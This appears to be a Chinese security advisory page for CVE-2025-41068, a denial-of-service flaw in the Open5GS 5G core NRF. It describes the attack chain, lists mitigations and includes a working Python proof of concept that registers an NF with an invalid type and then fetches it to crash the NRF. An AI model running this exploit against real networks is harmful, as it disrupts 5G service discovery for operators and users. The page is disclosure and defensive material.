IPBUF安全漏洞报告
English
CVE-2025-41068 CVSS 7.5 高危

CVE-2025-41068 Open5GS NRF可达断言拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-41068
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务可达断言Open5GS5G核心网NRFSBI接口CVE-2025-41068

漏洞概述

CVE-2025-41068是Open5GS中一个可达断言(Reachable Assertion)类型的拒绝服务漏洞。Open5GS是一个开源的5G核心网实现,被广泛应用于电信运营商和企业5G网络部署中。该漏洞存在于Open5GS的网络存储功能(NRF)组件中,攻击者可以通过发送带有无效NF类型的NF创建请求,然后请求该NF数据来触发漏洞。NRF在处理请求时会执行一个断言检查,该检查会导致进程崩溃,使得发现服务变得无响应。由于该漏洞无需认证即可利用,且影响的是核心网络的发现服务,因此具有较高的安全风险。攻击者只需要能够连接到NRF服务即可实施攻击,不需要特殊的权限或用户交互。成功利用此漏洞将导致Open5GS NRF服务中断,影响整个5G网络的NF发现和注册功能,进而可能导致终端设备无法正常接入网络服务。该漏洞的CVSS评分为7.5,属于高危级别。

技术细节

该漏洞的技术原理涉及Open5GS的SBI(Service Based Interface)接口处理机制。NRF(Network Repository Function)是5G核心网中的关键组件,负责管理NF(Network Function)的注册和发现。当攻击者通过SBI接口发送创建NF请求时,如果在该请求中指定一个无效的NF类型,NRF会接受这个注册但会在内部状态中创建一个不一致的NF实例。随后,当攻击者或其他NF请求获取这个无效NF的数据时,NRF会执行一个断言检查来验证NF类型的有效性。由于之前注册时使用了无效类型,这个断言检查会失败并导致进程崩溃。崩溃发生在NRF的主处理流程中,会使整个发现服务变得不可用。攻击者可以利用这一点通过发送多个恶意请求来持续造成服务中断。由于NRF是5G核心网中的关键组件,其不可用会影响所有依赖NF发现服务的其他核心网功能,如AMF、SMF等的注册和服务发现。

攻击链分析

STEP 1
步骤1
攻击者获得对Open5GS NRF的网络访问权限,能够发送SBI接口请求
STEP 2
步骤2
攻击者构造一个带有无效NF类型的NF实例注册请求,通过HTTP POST发送到/nnrf-nfm/v1/nf-instances端点
STEP 3
步骤3
NRF处理注册请求,将无效类型的NF实例存储到内部状态中,响应201 Created状态码
STEP 4
步骤4
攻击者发送HTTP GET请求到/nnrf-nfm/v1/nf-instances/{nfInstanceId}获取该NF实例的数据
STEP 5
步骤5
NRF执行断言检查来验证NF类型的有效性,由于类型无效导致断言失败
STEP 6
步骤6
NRF进程崩溃,5G核心网的NF发现服务变得无响应,导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-41068 PoC - Open5GS NRF Reachable Assertion DoS This PoC demonstrates the Reachable Assertion vulnerability in Open5GS NRF. """ import requests import json import sys # Configuration NRF_BASE_URL = "http://target-nrf:8000" SBI_NF_INSTANCE_URL = f"{NRF_BASE_URL}/nnrf-nfm/v1/nf-instances" def create_malicious_nf_instance(): """ Create an NF instance with invalid type to trigger the assertion """ # Malformed NF instance with invalid nfType malicious_nf_instance = { "nfInstanceId": "invalid-nf-instance-001", "nfType": "INVALID_NF_TYPE", # Invalid type to trigger assertion "nfStatus": "REGISTERED", "plmnList": [{ "mcc": "001", "mnc": "01" }], "sNssais": [{ "sst": 1, "sd": "010203" }], "nsiList": [{ "nsiId": "nsi-001" }] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: # Step 1: Register malicious NF instance response = requests.post( SBI_NF_INSTANCE_URL, json=malicious_nf_instance, headers=headers, timeout=10 ) print(f"[+] NF Instance Registration Status: {response.status_code}") if response.status_code in [201, 200]: nf_instance_id = response.json().get("nfInstanceId") print(f"[+] Created NF Instance ID: {nf_instance_id}") # Step 2: Request the NF instance data to trigger assertion get_url = f"{SBI_NF_INSTANCE_URL}/{nf_instance_id}" response = requests.get(get_url, headers=headers, timeout=10) print(f"[+] NF Instance Retrieval Status: {response.status_code}") if response.status_code == 500: print("[+] Successfully triggered assertion - NRF should be crashed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-41068 PoC - Open5GS NRF Reachable Assertion DoS") print("=" * 60) success = create_malicious_nf_instance() sys.exit(0 if success else 1)

影响范围

Open5GS < 2.7.6

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 实施网络访问控制,限制只有授权的NF才能访问NRF的SBI接口;2) 在NRF前部署负载均衡器并配置健康检查,当检测到NRF实例异常时自动隔离;3) 实施请求速率限制防止攻击者快速发送大量恶意请求;4) 监控NRF进程状态,配置自动重启机制以快速恢复服务;5) 记录所有NF注册和查询请求的详细日志,便于事后分析和溯源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表